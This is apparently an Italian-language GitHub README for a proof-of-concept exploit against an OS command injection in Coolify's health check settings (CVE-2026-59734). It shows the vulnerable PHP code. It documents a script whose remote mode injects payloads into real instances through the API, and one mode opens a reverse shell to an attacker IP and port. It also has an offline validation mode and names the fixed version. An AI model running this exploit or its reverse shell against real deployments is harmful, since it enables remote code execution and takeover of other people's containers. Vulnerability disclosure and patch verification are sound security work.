
Iniezione di comandi del sistema operativo in Controllo di integrità → Esecuzione di codice in remoto
Exploit Proof-of-Concept per l'iniezione di comandi OS nella configurazione di health check di Coolify.
Qualsiasi utente autenticato poteva eseguire comandi arbitrari all'interno dei container distribuiti.
Coolify è una popolare piattaforma di deployment open-source self-hosted (30K+ stelle su GitHub) — un'alternativa gratuita a Heroku, Vercel e Netlify.
Una vulnerabilità critica di Iniezione di Comandi OS è stata scoperta nella configurazione di health check di Coolify. I parametri health_check_host, health_check_method e health_check_path vengono interpolati direttamente in comandi shell senza alcuna sanificazione, consentendo a qualsiasi utente autenticato di eseguire comandi arbitrari all'interno dei container di deployment.
┌──────────────────┬──────────────────────────────────────┐
│ ID CVE │ CVE-2026-59734 │
│ Tipo │ Iniezione di Comandi OS (CWE-78) │
│ Gravità │ ALTA — CVSS 8.8 │
│ Vettore d'Attacco│ Rete (Autenticato) │
│ Versione Affetta │ Coolify <= v4.0.0-beta.460 │
│ Corretto in │ Coolify >= v4.0.0-beta.469 │
│ Commit di Corr. │ 23f9156c7 │
│ Segnalatore │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
Questo script PoC convalida e sfrutta CVE-2026-59734 con due modalità:
| Modalità | Descrizione | Rischio |
|---|---|---|
--local | Simula il pattern di codice vulnerabile offline. Nessuna richiesta di rete. Testa tutti e 3 i parametri iniettabili + verifica la correzione. | ✅ Sicuro |
--remote | Sfrutta un'istanza Coolify reale tramite API. Inietta payload nella configurazione di health check e avvia il deployment. | ⚠️ Richiede autenticazione |
host, method, path + conferma che la correzione con escapeshellarg() funzioni--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Esegui la convalida locale sicura
./coolify_healthcheck_rce_poc.sh --local
Output Atteso:
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══
┌─ Test 1: health_check_host injection
│ ✅ VULNERABLE — Injected command executed successfully
┌─ Test 2: health_check_method injection
│ ✅ VULNERABLE — Method parameter also injectable
┌─ Test 3: health_check_path injection
│ ✅ VULNERABLE — Path parameter also injectable
┌─ Test 4: Verify that escapeshellarg() fixes the issue
│ ✅ SAFE — Sanitized input prevents injection
# PoC base — scrive un file di prova all'interno del container
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# Con pulizia automatica (ripristina la configurazione originale dopo lo sfruttamento)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
Utilizzo:
Convalida Locale (sicura, offline):
./coolify_healthcheck_rce_poc.sh --local
Exploit Remoto (richiede autenticazione):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPZIONI]
Opzioni:
--url URL dell'istanza Coolify (es. https://coolify.example.com)
--token Token Bearer API
--uuid UUID dell'applicazione target
--payload Payload di iniezione personalizzato
--lhost IP dell'attaccante per reverse shell
--lport Porta dell'attaccante per reverse shell (default: 4444)
--cleanup Ripristina la configurazione originale dopo lo sfruttamento
Token API:
UUID App:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
Ho scritto un articolo dettagliato che spiega l'intera scoperta, lo sfruttamento e le lezioni apprese:
🔗 Come ho trovato un'Iniezione di Comandi OS (RCE) in Coolify — Medium
Guarda la dimostrazione completa dello sfruttamento su YouTube:
🔗 CVE-2026-59734 — Dimostrazione RCE su Coolify — YouTube